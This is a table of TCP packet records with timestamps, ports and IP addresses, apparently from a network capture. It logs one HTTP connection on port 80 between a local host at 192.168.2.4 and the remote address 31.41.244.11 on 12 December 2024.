Dec 12, 2024 14:26:38.300076962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.300136089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.300148964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.300162077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.300187111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.300187111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.300887108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.300971031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.300985098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.301002979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.301002979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.301038027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.301615000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.301714897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.301727057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.301737070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.301743984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.301939011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.302440882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.302488089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.302490950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.302500010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.302541018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.302541018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.303184032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.303248882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.303262949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.303284883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.303284883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.303440094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.304100990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.304126024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.304138899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.304167032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.304186106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.304851055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.304923058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.304934978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.304964066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.304964066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.305114985 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.305578947 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.305615902 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.305620909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.305638075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.305682898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.305682898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.306391954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.306430101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.306608915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.306632042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.306647062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.306679964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.306710958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.306747913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.307370901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.307425976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.307440042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.307470083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.307470083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.307516098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.308165073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.308208942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.308223009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.308238029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.308279037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.308614016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.308943033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.309011936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.309024096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.309051991 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.309051991 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.309072018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.309731960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.309784889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.309797049 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.309823036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.309823036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.309881926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.310487032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.310539961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.310554028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.310565948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.310642958 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.310642958 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.311271906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.311336040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.311347961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.311359882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.311392069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.311403990 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.312033892 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.312093973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.312098026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.312109947 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.312154055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.312154055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.312796116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.312849045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.312877893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.312890053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.312926054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.313601971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.313668013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.313677073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.313687086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.313723087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.313723087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.314383984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.314434052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.314446926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.314459085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.314502001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.314502001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.315165997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.315218925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.315365076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.315448999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.481545925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.481571913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.481584072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.481596947 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.481666088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.481810093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.481852055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.481863022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.481874943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.481909037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.482721090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.482779026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.482791901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.482805014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.482840061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.482942104 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.483390093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.483427048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.483453035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.483467102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.483488083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.483515024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.483913898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.484015942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.484050035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.484062910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.484097004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.484225988 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.484606028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.484677076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.484689951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.484702110 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.484718084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.484889030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.485378027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.485419035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.485481024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.485493898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.485512018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.485536098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.486186028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.486249924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.486253977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.486265898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.486304045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.486304045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.486907005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.486948013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.487000942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.487013102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.487041950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.487104893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.487663984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.487718105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.487728119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.487739086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.487768888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.487809896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.488339901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.488363028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.488368988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.488486052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.489022017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.489074945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.489082098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.489094019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.489125013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.489161015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.489758968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.489818096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.489849091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.489861965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.489888906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.489942074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.490621090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.490664959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.490684986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.490699053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.490771055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.491354942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.491426945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.491440058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.491456032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.491470098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.491525888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.492121935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.492167950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.492201090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.492213011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.492244959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.492558002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.492882967 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.492922068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.492952108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.492964983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.492986917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.493040085 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.493660927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.493741035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.493753910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.493761063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.493798018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.493798971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.494473934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.494519949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.494546890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.494559050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.494601011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.495230913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.495280981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.495316029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.495328903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.495373964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.495373964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.496007919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.496051073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.496062040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.496079922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.496102095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.496217966 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.496789932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.496851921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.496875048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.496900082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.496918917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.496936083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.497550011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.497595072 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.497632980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.497648001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.497723103 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.498423100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.498481035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.498501062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.498513937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.498543978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.498600960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.499174118 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.499269962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.499456882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.499468088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.499500036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.499552011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.499593973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.500179052 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.500232935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.500236988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.500247955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.500277996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.500315905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.500988007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.501035929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.501070023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.501104116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.501123905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.501148939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.502335072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.502358913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.502371073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.502408028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.502408028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.503506899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.503556013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.503747940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.503760099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.503808975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.504671097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.504726887 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.504760027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.504771948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.504867077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.505799055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.505862951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.505863905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.505877972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.505906105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.507065058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.507113934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.507126093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.507134914 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.507335901 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.508223057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.508268118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.508344889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.508393049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.508394957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.508474112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.509722948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.509787083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.509819031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.509831905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.509885073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.509885073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.510505915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.510554075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.510571003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.510584116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.510617971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.510724068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.511117935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.511174917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.675229073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.675340891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.675353050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.675553083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.675609112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.675667048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.675678015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.675718069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.675738096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.676438093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.676515102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.676527023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.676604033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.676604033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.677418947 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.677499056 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.677510023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.677567005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.678050041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.678100109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.678112030 CET	80	49837	31.41.244.11	192.168.2.4
